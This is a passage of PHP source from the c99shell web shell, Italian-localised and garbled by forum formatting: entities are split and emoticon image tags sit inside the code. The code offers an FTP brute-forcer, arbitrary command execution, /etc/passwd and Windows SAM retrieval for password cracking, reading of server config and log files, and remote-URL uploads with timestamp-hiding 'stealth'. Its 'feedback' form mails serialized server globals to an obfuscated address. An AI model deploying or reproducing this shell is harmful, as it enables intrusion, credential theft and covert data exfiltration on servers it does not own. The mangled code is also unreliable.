echo "<form action=\"" ;.$surl."\&quo t;><input type=hidden name=act value=\"ftpqui ckbrute\">& lt;br>Prima leggere: <input type=text name=\"fqb_len ght\" value=\"" .$nixpwdperpage.&qu ot;\"><b r><br>Solo con gli utenti shell?&nbsp;< ;input type=\"checkbo x\" name=\"fqb_onl ywithsh\" value=\"1\&quo t;><br>< ;br>Logging?& ;nbsp;<input type=\"checkbo x\" name=\"fqb_log ging\" value=\"1\&quo t; checked><br&g t;Logga i file?&nbsp;< input type=\"text\&q uot; name=\"fqb_log file\" value=\"" .$logfile."\&q uot; size=\"". (strlen($logfile)+2 *(strlen($logfile)/ 10))."\"& gt;<br>Logga l'e-mail?&nbsp; <input type=\"text\&q uot; name=\"fqb_log email\" value=\"" .$log_email."\ " size=\"". (strlen($logemail)+ 2*(strlen($logemail )/10))."\" ;><br>< br><input type=submit name=submit value=\"Brute\ "></form >";
}
}
}
if ($act == "d"
{
if (!is_dir($d)) {echo "<center> ;<b>Permesso negato!</b>&l t;/center>" ;}
else
{
echo "<b>Info rmazione cartelle:</b> <table border=0 cellspacing=1 cellpadding=2>&q uot;;
if (!$win)
{
echo "<tr>< ;td><b>Pro prietrio/Gruppi< /b></td>&l t;td> ";
$ow = posix_getpwuid(file owner($d));
$gr = posix_getgrgid(file group($d));
$row[] = ($ow["name&quo t;]?$ow["name& quot;]:fileowner($d ))."/".($ gr["name" ]?$gr["name&qu ot;]:filegroup($d)) ;
}
echo "<tr>< ;td><b>Per messi</b>< /td><td>&l t;a href=\"". $surl."act=chm od&d=".url encode($d)."\& quot;><b>& quot;.view_perms_co lor($d)."</ b></a>< tr><td>< ;b>Tempo di creazione</b> </td><td&g t; ".date("d /m/Y H:i:s",filecti me($d))."</ td></tr>&l t;tr><td>& lt;b>Ora di accesso</b>&l t;/td><td> ".date("d /m/Y H:i:s",fileati me($d))."</ td></tr>&l t;tr><td>& lt;b>Modifica tempo</b>< /td><td> ".date("d /m/Y H:i:s",filemti me($d))."</ td></tr>&l t;/table><br& gt;";
}
}
if ($act == "phpinfo"< img src='images/wink.gi f' /> {@ob_clean(); phpinfo(); c99shexit();}
if ($act == "security"
{
echo "<center> ;<b>Informazi oni sulla sicurezza del server:</b>&l t;/center><b& gt;Aprire directory di base: ".$hopenbasedi r."</b>& lt;br>";
if (!$win)
{
if ($nixpasswd)
{
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "<b>*nix /etc/passwd:</b& gt;<br>" ;
if (!is_numeric($nixpw d_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpw d_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form action=\"" ;.$surl."\&quo t;><input type=hidden name=act value=\"securi ty\"><in put type=hidden name=\"nixpass wd\" value=\"1\&quo t;><b>Da:& lt;/b>&nbsp; <input type=\"text=\& quot; name=\"nixpwd_ s\" value=\"" .$nixpwd_s."\& quot;>&nbsp; <b>A:</b&g t;&nbsp;<inp ut type=\"text\&q uot; name=\"nixpwd_ e\" value=\"" .$nixpwd_e."\& quot;>&nbsp; <input type=submit value=\"View\& quot;></form& gt;<br>" ;
$i = $nixpwd_s;
while ($i < $nixpwd_e)
{
$uid = posix_getpwuid($i);
if ($uid)
{
$uid["dir" ;] = "<a href=\"". $surl."act=ls& amp;d=".urlenc ode($uid["dir& quot;])."\&quo t;>".$uid[& quot;dir"].&qu ot;</a>" ;
echo join(":", $uid)."<br& gt;";
}
$i++;
}
}
else {echo "<br>< ;a href=\"". $surl."act=sec urity&nixpasswd =1&d=".$ud ."\">& lt;b><u>Ot tenere /etc/passwd</u&g t;</b></a& gt;<br>" ;}
}
else
{
$v = $_SERVER["WIND IR"]."\re pair\sam";
if (file_get_contents( $v)) {echo "<b>< font color=red>Non si può crackare le passwords(".$v ." </font></b ><br>" ;;}
else {echo "<b>< font color=blue>Puoi crackare le passwords. <a href=\"". $surl."act=f&a mp;f=sam&d=&quo t;.$_SERVER["W INDIR"]." \\repair&ft=dow nload\">< ;u><b>Scar ica</b></u ></a>, e usa lcp.crack+ ©.</font>< ;/b><br>&q uot;;}
}
if (file_get_contents( "/etc/userdoma ins") {echo "<b>< font color=blue><a href=\"". $surl."act=f&a mp;f=userdomains&am p;d=".urlencod e("/etc"."&ft=tx t\"><u&g t;<b>Guarda il pannello di controllo dell'utenteche registrato il dominio</b>&l t;/u></a>& lt;/font></b& gt;<br>" ;}
if (file_get_contents( "/var/cpanel/a ccounting.log"< img src='images/wink.gi f' />) {echo "<b>< font color=blue><a href=\"". $surl."act=f&a mp;f=accounting.log &d=".urlen code("/var/cpa nel/"."\"&am p;ft=txt><u&g t;<b>Guarda il pannello di controllo delle registrazioni</b ></u></ a></font>& lt;/b><br> ";}
if (file_get_contents( "/usr/local/ap ache/conf/httpd.con f") {echo "<b>< font color=blue><a href=\"". $surl."act=f&a mp;f=httpd.conf& ;d=".urlencode ("/usr/local/a pache/conf"."&ft=tx t\"><u&g t;<b>Configur azione di apache (httpd.conf)</b& gt;</u></a ></font>&l t;/b><br>& quot;;}
if (file_get_contents( "/etc/httpd.co nf") {echo "<b>< font color=blue><a href=\"". $surl."act=f&a mp;f=httpd.conf& ;d=".urlencode ("/etc"."&ft=tx t\"><u&g t;<b>Configur azioni di apache (httpd.conf)</b& gt;</u></a ></font>&l t;/b><br>& quot;;}
if (file_get_contents( "/etc/syslog.c onf") {echo "<b>< font color=blue><a href=\"". $surl."act=f&a mp;f=syslog.conf&am p;d=".urlencod e("/etc"."&ft=tx t\"><u&g t;<b>Configur azione syslog (syslog.conf)</b ></u></ a></font>& lt;/b><br> ";}
if (file_get_contents( "/etc/motd&quo t) {echo "<b>< font color=blue><a href=\"". $surl."act=f&a mp;f=motd&d=&qu ot;.urlencode(" ;/etc"."&ft=tx t\"><u&g t;<b>Messaggi o el giorno</b>< ;/u></a>&l t;/font></b&g t;<br>"; }
if (file_get_contents( "/etc/hosts&qu ot) {echo "<b>< font color=blue><a href=\"". $surl."act=f&a mp;f=hosts&d=&q uot;.urlencode(&quo t;/etc"."&ft=tx t\"><u&g t;<b>Hosts< ;/b></u>&l t;/a></font&g t;</b><br& gt;";}
function displaysecinfo($nam e,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>&quo t;.$name." - </b>";} echo $name.nl2br($value) ."<br>&q uot;;}}
displaysecinfo(&qu ot;Versione OS?",myshellex ec("cat /proc/version"< img src='images/wink.gi f' />);
displaysecinfo(&qu ot;Versione Kernel?",myshe llexec("sysctl -a | grep version");
displaysecinfo(&qu ot;Nome della distribuzione" ,myshellexec(" cat /etc/issue.net" );
displaysecinfo(&qu ot;Nome della distribuzione (2)",myshellex ec("cat /etc/*-realise" );
displaysecinfo(&qu ot;CPU?",myshe llexec("cat /proc/cpuinfo"< img src='images/wink.gi f' />);
displaysecinfo(&qu ot;RAM",myshel lexec("free -m");
displaysecinfo(&qu ot;Spazio HDD",myshellex ec("df -h");
displaysecinfo(&qu ot;Lista degli Attributi",mys hellexec("lsat tr -a");
displaysecinfo(&qu ot;Opzioni per montare ",myshellexec( "cat /etc/fstab");
displaysecinfo(&qu ot;E' installato cURL?",myshell exec("which curl");
displaysecinfo(&qu ot;E' installato lynx?",myshell exec("which lynx");
displaysecinfo(&qu ot;E' installato links?",myshel lexec("which links");
displaysecinfo(&qu ot;E' installato fetch?",myshel lexec("which fetch");
displaysecinfo(&qu ot;E'installato GET?",myshelle xec("which GET");
displaysecinfo(&qu ot;E' installato perl?",myshell exec("which perl");
displaysecinfo(&qu ot;Dov'e' apache",myshel lexec("whereis apache");
displaysecinfo(&qu ot;Dov'e' perl?",myshell exec("whereis perl");
displaysecinfo(&qu ot;Locazione proftpd.conf", myshellexec("l ocate proftpd.conf");
displaysecinfo(&qu ot;Locazione httpd.conf",my shellexec("loc ate httpd.conf");
displaysecinfo(&qu ot;Locazione my.conf",myshe llexec("locate my.conf");
displaysecinfo(&qu ot;Locazione psybnc.conf",m yshellexec("lo cate psybnc.conf");
}
if ($act == "mkfile"
{
if ($mkfile != $d)
{
if (file_exists($mkfil e)) {echo "<b>Crea File \"".htmls pecialchars($mkfile )."\"< /b>: Oggetto gia' esistente";} elseif (!fopen($mkfile,&qu ot;w") {echo "<b>Crea File \"".htmls pecialchars($mkfile )."\"< /b>: accesso negato";}
else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR ) {$d .= DIRECTORY_SEPARATOR ;} $f = basename($mkfile);}
}
else {$act = $dspact = "ls";}
}
if ($act == "encoder"< img src='images/wink.gi f' />
{
echo "<script> ;function set_encoder_input(t ext) {document.forms.enc oder.input.value = text;}</script&g t;<center>< ;b>Codificatore: </b></cent er><form name=\"encoder \" action=\"" ;.$surl."\&quo t; method=POST>< input type=hidden name=act value=encoder>&l t;b>Input:</b ><center>& lt;textarea name=\"encoder _input\" id=\"input\&qu ot; cols=50 rows=5>".@h tmlspecialchars($en coder_input)." </textarea>&l t;br><br>& lt;input type=submit value=\"calcul ate\"><b r><br>< /center><b> ;Hashes</b>:& lt;br><center >";
foreach(array(&quo t;md5","c rypt","sh a1","crc3 2" as $v)
{
echo $v." - <input type=text size=50 onFocus=\"this .select()\" onMouseover=\" this.select()\" ; onMouseout=\"t his.select()\" value=\"" .$v($encoder_input) ."\" readonly><br& gt;";
}
echo "</center&g t;<b>Url:< /b><center> ;<br>Codifica url - <input type=text size=35 onFocus=\"this .select()\" onMouseover=\" this.select()\" ; onMouseout=\"t his.select()\" value=\"" .urlencode($encoder _input)."\&quo t; readonly>
<br>urldecod e - <input type=text size=35 onFocus=\"this .select()\" onMouseover=\" this.select()\" ; onMouseout=\"t his.select()\" value=\"" .htmlspecialchars(u rldecode($encoder_i nput))."\" ; readonly>
<br></cen ter><b>Bas e64:</b><c enter>Codifica base64 - <input type=text size=35 onFocus=\"this .select()\" onMouseover=\" this.select()\" ; onMouseout=\"t his.select()\" value=\"" .base64_encode($enc oder_input)."\ " readonly></ce nter>";
echo "<center> ;base64_decode - ";
if (base64_encode(base 64_decode($encoder_ input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed \" disabled readonly>"; }
else
{
$debase64 = base64_decode($enco der_input);
$debase64 = str_replace("\ 0","[0]&q uot;,$debase64);
$a = explode("\r\n& quot;,$debase64); $rows = count($a);
$debase64 = htmlspecialchars($d ebase64);
if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this .select()\" onMouseover=\" this.select()\" ; onMouseout=\"t his.select()\" value=\"" .$debase64."\& quot; id=\"debase64\ " readonly>"; }
else {$rows++; echo "<textarea cols=\"40\&quo t; rows=\"". $rows."\" onFocus=\"this .select()\" onMouseover=\" this.select()\" ; onMouseout=\"t his.select()\" id=\"debase64\ " readonly>". $debase64."< ;/textarea>" ;;}
echo "&nbsp;< ;a href=\"#\" ; onclick=\"set_ encoder_input(docum ent.forms.encoder.d ebase64.value)\&quo t;><b>^< ;/b></a>&q uot;;
}
echo "</center&g t;<br><b&g t;Conversazioni base</b>:< center>dec2hex - <input type=text size=35 onFocus=\"this .select()\" onMouseover=\" this.select()\" ; onMouseout=\"t his.select()\" value=\"" ;
$c = strlen($encoder_inp ut);
for($i=0;$i<$c; $i++)
{
$hex = dechex(ord($encoder _input[$i]));
if ($encoder_input[$i] == "&" {echo $encoder_input[$i]; }
elseif ($encoder_input[$i] != "\\" {echo "%".$hex; }
}
echo "\" readonly><br& gt;</center>& lt;/form>";
}
if ($act == "fsbuff"
{
$arr_copy = $sess_data["co py"];
$arr_cut = $sess_data["cu t"];
$arr = array_merge($arr_co py,$arr_cut);
if (count($arr) == 0) {echo "<center> ;<b>Buffer is empty!</b>< ;/center>"; }
else {echo "<b>File di sistema buffer</b>< ;br><br>&q uot;; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
}
if ($act == "selfremove&qu ot
{
if (($submit == $rndcode) and ($submit != "")
{
if (unlink(__FILE__)) {@ob_clean(); echo "Grazie di usare la c99shell v.".$shver.&qu ot;!"; c99shexit(); }
else {echo "<center> ;<b>Non puoi eliminare ".__FILE__.&qu ot;!</b></ center>";}< br /> }
else
{
if (!empty($rndcode)) {echo "<b>Erro re: conferma errata!</b>&q uot;;}
$rnd = rand(0,9).rand(0,9) .rand(0,9);
echo "<form action=\"" ;.$surl."\&quo t;><input type=hidden name=act value=selfremove> ;<b>Rimuovi-S elf: ".__FILE__.&qu ot; <br><b> Sei sicuro?<br>Pe r confermare, invio \"".$rnd. "\"</b >:&nbsp;< input type=hidden name=rndcode value=\"" .$rnd."\" ><input type=text name=submit>& ;nbsp;<input type=submit value=\"YES\&q uot;></form&g t;";
}
}
if ($act == "update" {$ret = c99sh_getupdate(!!$ confirmupdate); echo "<b>&quo t;.$ret."</ b>"; if (stristr($ret," ;new version") {echo "<br>< ;br><input type=button onclick=\"loca tion.href='".$ surl."act=upda te&confirmupdat e=1';\" value=\"Aggior na ora\">" ;;}}
if ($act == "feedback"
{
$suppmail = base64_decode(" ;Yzk5c2hlbGxAY2N0ZW FtLnJ1";
if (!empty($submit)) {
$ticket = substr(md5(microtim e()+rand(1,1000)),0 ,6);
$body = "c99shell v.".$shver.&qu ot; feedback #".$ticket.&qu ot;\nName: ".htmlspecialc hars($fdbk_name).&q uot;\nE-mail: ".htmlspecialc hars($fdbk_email).& quot;\nMessage:\n&q uot;.htmlspecialcha rs($fdbk_body).&quo t;\n\nIP: ".$REMOTE_ADDR ;
if (!empty($fdbk_ref))
{
$tmp = @ob_get_contents();
ob_clean();
phpinfo();
$phpinfo = base64_encode(ob_ge t_contents());
ob_clean();
echo $tmp;
$body .= "\n".&quo t;phpinfo(): ".$phpinfo.&qu ot;\n"."\ $GLOBALS=".bas e64_encode(serializ e($GLOBALS))." \n";
}
mail($suppmail,&quo t;c99shell v.".$shver.&qu ot; feedback #".$ticket,$bo dy,"FROM: ".$suppmail);< br /> echo "<center> ;<b>Grazie per il tuo commento! Your ticket ID: ".$ticket.&quo t;.</b></c enter>";
}
else {echo "<form action=\"" ;.$surl."\&quo t; method=POST>< input type=hidden name=act value=feedback>& lt;b>Commento sul bug (".str_replace (array("@" ;,".",array("[at] ","[dot]& quot,$suppmail)." :<br><br >Tuo nome: <input type=\"text\&q uot; name=\"fdbk_na me\" value=\"" .htmlspecialchars($ fdbk_name)."\& quot;><br> <br>Tua e-mail: <input type=\"text\&q uot; name=\"fdbk_em ail\" value=\"" .htmlspecialchars($ fdbk_email)."\ "><br> ;<br>Messaggi o:<br><tex tarea name=\"fdbk_bo dy\" cols=80 rows=10>".h tmlspecialchars($fd bk_body)."< /textarea><in put type=\"hidden\ " name=\"fdbk_re f\" value=\"" .urlencode($HTTP_RE FERER)."\" ;><br>< br>Allega server-info * <input type=\"checkbo x\" name=\"fdbk_se rvinf\" value=\"1\&quo t; checked><br&g t;<br>Non ci sono controlli nella forma.<br>< ;br>* - Fortemente raccomandato, la relazione dell'errore, perche' ne abbiamo bisogno per il bug-fix.<br>& lt;br>Le lingue che noi capiamo: Inglese, Russo.<br>< ;br><input type=\"submit\ " name=\"submit\ " value=\"Send\& quot;></form& gt;";}
}
if ($act == "search"
{
echo "<b>Cerc a nei file di sistema:</b>& lt;br>";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name )) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text _wwo)) {$search_text_regex p = 0;}
if (!empty($submit)) {
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=&g t;$search_name, "name_regexp&q uot;=>$search_na me_regexp,
"text"=&g t;$search_text, "text_regexp&q uot;=>$search_te xt_regxp,
"text_wwo" ;=>$search_text_ wwo,
"text_cs" =>$search_text_c s,
"text_not" ;=>$search_text_ not
);
$searchtime = getmicrotime();
$in = array_unique(explod e(";",$se arch_in));
foreach($in as $v) {c99fsearch($v);} $searchtime = round(getmicrotime( )-$searchtime,4); if (count($found) == 0) {echo "<b>Ness un file trovato!</b>& quot;;}
else
{
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = "ls";
}
}
echo "<form method=POST>
<input type=hidden name=\"d\" ; value=\"" .$dispd."\&quo t;><input type=hidden name=act value=\"" .$dspact."\&qu ot;>
<b>Cerca per (file/folder name): </b><input type=\"text\&q uot; name=\"search_ name\" size=\"". round(strlen($searc h_name)+25)."\ " value=\"" .htmlspecialchars($ search_name)." \">&nbs p;<input type=\"checkbo x\" name=\"search_ name_regexp\" value=\"1\&quo t; ".($search_nam e_regexp == 1?" checked":" ;"."> - regexp
<br><b> Search in (explode \";\": </b><input type=\"text\&q uot; name=\"search_ in\" size=\"". round(strlen($searc h_in)+25)."\&q uot; value=\"" .htmlspecialchars($ search_in)."\& quot;>
<br><br> ;<b>Text:< /b><br>< ;textarea name=\"search_ text\" cols=\"122\&qu ot; rows=\"10\&quo t;>".htmlsp ecialchars($search_ text)."</te xtarea>
<br><br> ;<input type=\"checkbo x\" name=\"search_ text_regexp\" value=\"1\&quo t; ".($search_tex t_regexp == 1?" checked":" ;"."> - regexp
&nbsp;&nbsp ;<input type=\"checkbo x\" name=\"search_ text_wwo\" value=\"1\&quo t; ".($search_tex t_wwo == 1?" checked":" ;"."> - <u>w</u> ;hole words only
&nbsp;&nbsp ;<input type=\"checkbo x\" name=\"search_ text_cs\" value=\"1\&quo t; ".($search_tex t_cs == 1?" checked":" ;"."> - cas<u>e</u > sensitive
&nbsp;&nbsp ;<input type=\"checkbo x\" name=\"search_ text_not\" value=\"1\&quo t; ".($search_tex t_not == 1?" checked":" ;"."> - cercare file <u>NON/u> contenenti testo
<br><br> ;<input type=submit name=submit value=\"Search \"></for m>";
if ($act == "ls" {$dspact = $act; echo "<hr size=\"1\" ; noshade><b> ;Search took ".$searchtime. " secs (".$search_i_f ." files e ".$search_i_d. " folders, ".round(($sear ch_i_f+$search_i_d) /$searchtime,4).&qu ot; objects per second).</b>& lt;br><br> ";}
}
if ($act == "chmod"
{
$mode = fileperms($d.$f); if (!$mode) {echo "<b>Camb ia la modalità di file con errore:</b> Non può avere valore corrente.";} else
{
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_ convert(($chmod_o[& quot;r"]?1:0). ($chmod_o["w&q uot;]?1:0).($chmod_ o["x"]?1: 0).($chmod_g[" r"]?1:0).($chm od_g["w"] ?1:0).($chmod_g[&qu ot;x"]?1:0).($ chmod_w["r&quo t;]?1:0).($chmod_w[ "w"]?1:0) .($chmod_w["x& quot;]?1:0),2,8); if (chmod($d.$f,$octet )) {$act = "ls"; $form = FALSE; $err = "";}
else {$err = "Non puoi chmoddare ".$octet." ;.";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "<b>Camb ia la modalità di file (".$d.$f." , ".view_perms_c olor($d.$f)." (".substr(deco ct(fileperms($d.$f) ),-4,4)."</b><br& gt;".($err?&qu ot;<b>Errore: </b> ".$err:"& quot."<form action=\"" ;.$surl."\&quo t; method=POST>< input type=hidden name=d value=\"" .htmlspecialchars($ d)."\"> ;<input type=hidden name=f value=\"" .htmlspecialchars($ f)."\"> ;<input type=hidden name=act value=chmod>< table align=left width=300 border=0 cellspacing=0 cellpadding=5>&l t;tr><td>& lt;b>Proprietari o</b><br&g t;<br><inp ut type=checkbox NAME=chmod_o[r] value=1".($per ms["o"][& quot;r"]?" ; checked":" ;".">&n bsp;Read<br>& lt;input type=checkbox name=chmod_o[w] value=1".($per ms["o"][& quot;w"]?" ; checked":" ;".">&n bsp;Write<br> <input type=checkbox NAME=chmod_o[x] value=1".($per ms["o"][& quot;x"]?" ; checked":" ;".">Esegui </td><td&g t;<b>Gruppo&l t;/b><br>& lt;br><input type=checkbox NAME=chmod_g[r] value=1".($per ms["g"][& quot;r"]?" ; checked":" ;".">&n bsp;Read<br>& lt;input type=checkbox NAME=chmod_g[w] value=1".($per ms["g"][& quot;w"]?" ;0006ff checked":" ;".">&n bsp;Write<br> <input type=checkbox NAME=chmod_g[x] value=1".($per ms["g"][& quot;x"]?" ; checked":" ;".">Esegui </font></t d><td>< b>World</b> ;<br><br&g t;<input type=checkbox NAME=chmod_w[r] value=1".($per ms["w"][& quot;r"]?" ; checked":" ;".">&n bsp;Read<br>& lt;input type=checkbox NAME=chmod_w[w] value=1".($per ms["w"][& quot;w"]?" ; checked":" ;".">&n bsp;Write<br> <input type=checkbox NAME=chmod_w[x] value=1".($per ms["w"][& quot;x"]?" ; checked":" ;".">Esegui </font></t d></tr>< ;tr><td>&l t;input type=submit name=chmod_submit value=\"Save\& quot;></td> ;</tr></ta ble></form> ;";
}
}
}
if ($act == "upload"
{
$uploadmess = "";
$uploadpath = str_replace("\ \",DIRECTORY_S EPARATOR,$uploadpat h);
if (empty($uploadpath) ) {$uploadpath = $d;}
elseif (substr($uploadpath ,-1) != "/" {$uploadpath .= "/";}
if (!empty($submit)) {
global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES[&q uot;uploadfile" ;];
if (!empty($uploadfile ["tmp_name&quo t;]))
{
if (empty($uploadfilen ame)) {$destin = $uploadfile["n ame"];}
else {$destin = $userfilename;}
if (!move_uploaded_fil e($uploadfile[" ;tmp_name"],$u ploadpath.$destin)) {$uploadmess .= "Errore nel caricamento del file ".$uploadfile[ "name"].& quot; (Non puoi copiare \"".$uplo adfile["tmp_na me"]."\&q uot; to \"".$uplo adpath.$destin.&quo t;\"!<br> ;";}
}
elseif (!empty($uploadurl) )
{
if (!empty($uploadfile name)) {$destin = $uploadfilename;} else
{
$destin = explode("/&quo t;,$destin);
$destin = $destin[count($dest in)-1];
if (empty($destin))
{
$i = 0;
$b = "";
while(file_exists($ uploadpath.$destin) ) {if ($i > 0) {$b = "_".$i;} $destin = "index".$ b.".html" ; $i++;}}
}
if ((!eregi("http ://",$uploadur l)) and (!eregi("https ://",$uploadur l)) and (!eregi("ftp:/ /",$uploadurl) )) {echo "<b>Url sbagliato</b> <br>";}< br /> else
{
$st = getmicrotime();
$content = @file_get_contents( $uploadurl);
$dt = round(getmicrotime( )-$st,4);
if (!$content) {$uploadmess .= "Non puoi scaricare questo file!<br>&quo t;;}
else
{
if ($filestealth) {$stat = stat($uploadpath.$d estin);}
$fp = fopen($uploadpath.$ destin,"w" ;
if (!$fp) {$uploadmess .= "Non puoi scrivere su questo file ".htmlspecialc hars($destin)." ;!<br>"; }
else
{
fwrite($fp,$content ,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath. $destin,$stat[9],$s tat[8]);}
}
}
}
}
}
if ($miniform)
{
echo "<b>&quo t;.$uploadmess.&quo t;</b>";
$act = "ls";
}
else
{
echo "<b>Cari care file:</b>< br><b>&quo t;.$uploadmess.&quo t;</b><for m enctype=\"mult ipart/form-data\&qu ot; action=\"" ;.$surl."act=u pload&d=". urlencode($d)." ;\" method=POST>
Seleziona un file nel tuo computer: <input name=\"uploadf ile\" type=\"file\&q uot;><br>& amp;nbsp;&nbsp; &nbsp;&nbsp ;&nbsp;&nbs p;&nbsp;&nb sp;&nbsp;&n bsp;&nbsp;& nbsp;&nbsp;& ;nbsp;&nbsp;or& lt;br>
Input URL: <input name=\"uploadu rl\" type=\"text\&q uot; value=\"" .htmlspecialchars($ uploadurl)."\& quot; size=\"70\&quo t;><br>< ;br>
Salva questo file: <input name=\"uploadp ath\" size=\"70\&quo t; value=\"" .$dispd."\&quo t;><br>< ;br>
Nome del file(auto-fill): <input name=uploadfilename size=25><br&g t;<br>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp ;convertire il file per lovercase<br> <br>
<input type=submit name=submit value=\"Carica \">
</form>" ;
}
}
if ($act == "delete"
{
$delerr = "";
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Non puoi eliminarlo ".htmlspecialc hars($v)."< br>";}
}
if (!empty($delerr)) {echo "<b>Canc ella l'errore:</b> <br>".$d elerr;}
$act = "ls";
}
if (!$usefsbuff)
{
if (($act == "paste" or ($act == "copy" or ($act == "cut" or ($act == "unselect" ) {echo "<center> ;<b>Scusa, il buffer e' disabilitato. Per attivarlo, impostare la direttiva \"\$useFSbuff\ " as TRUE.</center> ;";}
}
else
{
if ($act == "copy" {$err = ""; $sess_data["co py"] = array_merge($sess_d ata["copy" ;],$actbox); c99_sess_put($sess_ data); $act = "ls"; }
elseif ($act == "cut" {$sess_data["c ut"] = array_merge($sess_d ata["cut" ],$actbox); c99_sess_put($sess_ data); $act = "ls";}
elseif ($act == "unselect" {foreach ($sess_data["c opy"] as $k=>$v) {if (in_array($v,$actbo x)) {unset($sess_data[& quot;copy"][$k ]);}} foreach ($sess_data["c ut"] as $k=>$v) {if (in_array($v,$actbo x)) {unset($sess_data[& quot;cut"][$k] );}} c99_sess_put($sess_ data); $act = "ls";}
if ($actemptybuff) {$sess_data["c opy"] = $sess_data["cu t"] = array(); c99_sess_put($sess_ data);}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data[ "copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$t o)) {$psterr .= "Non puoi copiare ".$v." to ".$to."!& lt;br>";} if ($copy_unset) {unset($sess_data[& quot;copy"][$k ]);}
}
foreach($sess_data[ "cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$t o)) {$psterr .= "Non puoi spostare ".$v." to ".$to."!& lt;br>";} unset($sess_data[&q uot;cut"][$k]) ;
}
c99_sess_put($sess_ data);
if (!empty($psterr)) {echo "<b>Inco llare con errori:</b>&l t;br>".$pst err;}
$act = "ls";
}
elseif ($actarcbuff)
{
$arcerr = "";
if (substr($actarcbuff _path,-7,7) == ".tar.gz"< img src='images/wink.gi f' /> {$ext = ".tar.gz" ;}
else {$ext = ".tar.gz" ;}
if ($ext == ".tar.gz"< img src='images/wink.gi f' /> {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_ path;
$objects = array_merge($sess_d ata["copy" ;],$sess_data[" ;cut"]);
foreach($objects as $v)
{
$v = str_replace("\ \",DIRECTORY_S EPARATOR,$v);
if (substr($v,0,strlen ($d)) == $d) {$v = basename($v);}
if (is_dir($v))
{
if (substr($v,-1) != DIRECTORY_SEPARATOR ) {$v .= DIRECTORY_SEPARATOR ;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".&qu ot;
chdir($d);
$ret = myshellexec($cmdlin e);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Non può rimettere archivator (".htmlspecial chars(str2mini($cmd line,60))."!<br>" ;}
$ret = str_replace("\ r\n","\n& quot;,$ret);
$ret = explode("\n&qu ot;,$ret);
if ($copy_unset) {foreach($sess_data ["copy"] as $k=>$v) {unset($sess_data[& quot;copy"][$k ]);}}
foreach($sess_data[ "cut"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data[&q uot;cut"][$k]) ;
}
c99_sess_put($sess_ data);
if (!empty($arcerr)) {echo "<b>Arch iviazione degli errori:</b>&l t;br>".$arc err;}
$act = "ls";
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data[ "copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d )) {$psterr .= "Non puoi copiare ".$v." to ".$to."!& lt;br>";} if ($copy_unset) {unset($sess_data[& quot;copy"][$k ]);}
}
foreach($sess_data[ "cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d )) {$psterr .= "Non puoi spostare ".$v." to ".$to."!& lt;br>";} unset($sess_data[&q uot;cut"][$k]) ;
}
c99_sess_put($sess_ data);
if (!empty($psterr)) {echo "<b>Inco llare con gli errori:</b>&l t;br>".$pst err;}
$act = "ls";
}
}
if ($act == "cmd"
{
if (trim($cmd) == "ps -aux" {$act = "processes&quo t;;}
elseif (trim($cmd) == "tasklist" {$act = "processes&quo t;;}
else
{
@chdir($chdir);
if (!empty($submit)) {
echo "<b>Risu ltato dell'esecuzione di questo comando</b>:& lt;br>";
$olddir = realpath(".&qu ot;
@chdir($d);
$ret = myshellexec($cmd);< br /> $ret = convert_cyr_string( $ret,"d", "w";
if ($cmd_txt)
{
$rows = count(explode(" ;\r\n",$ret))+ 1;
if ($rows < 10) {$rows = 10;}
echo "<br>< ;textarea cols=\"122\&qu ot; rows=\"". $rows."\" readonly>". htmlspecialchars($r et)."</text area>";
}
else {echo $ret."<br&g t;";}
@chdir($olddir);
}
else {echo "<b>Exec ution command</b>&q uot;; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo "<form action=\"" ;.$surl."\&quo t; method=POST>< input type=hidden name=act value=cmd><te xtarea name=cmd cols=122 rows=10>".h tmlspecialchars($cm d)."</texta rea><input type=hidden name=\"d\" ; value=\"" .$dispd."\&quo t;><br>< ;br><input type=submit name=submit value=\"Esegui \">&nbs p;Scrivi nell'area di testo&nbsp;< input type=\"checkbo x\" name=\"cmd_txt \" value=\"1\&quo t;"; if ($cmd_txt) {echo " checked";} echo "></form >";
}
}
if ($act == "ls"
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo "<center> ;<b>Non puoi aprire la cartella (".htmlspecial chars($d)."!</b></c enter>";} else
{
//Building array
$objects = array();
$vd = "f"; //Viewing mode
if ($vd == "f"
{
$objects["head "] = array();
$objects["fold ers"] = array();
$objects["link s"] = array();
$objects["file s"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == "." {$row[] = $d.$o; $row[] = "LINK";}< br /> elseif ($o == ".." {$row[] = $d.$o; $row[] = "LINK";}< br /> elseif (is_dir($v))
{
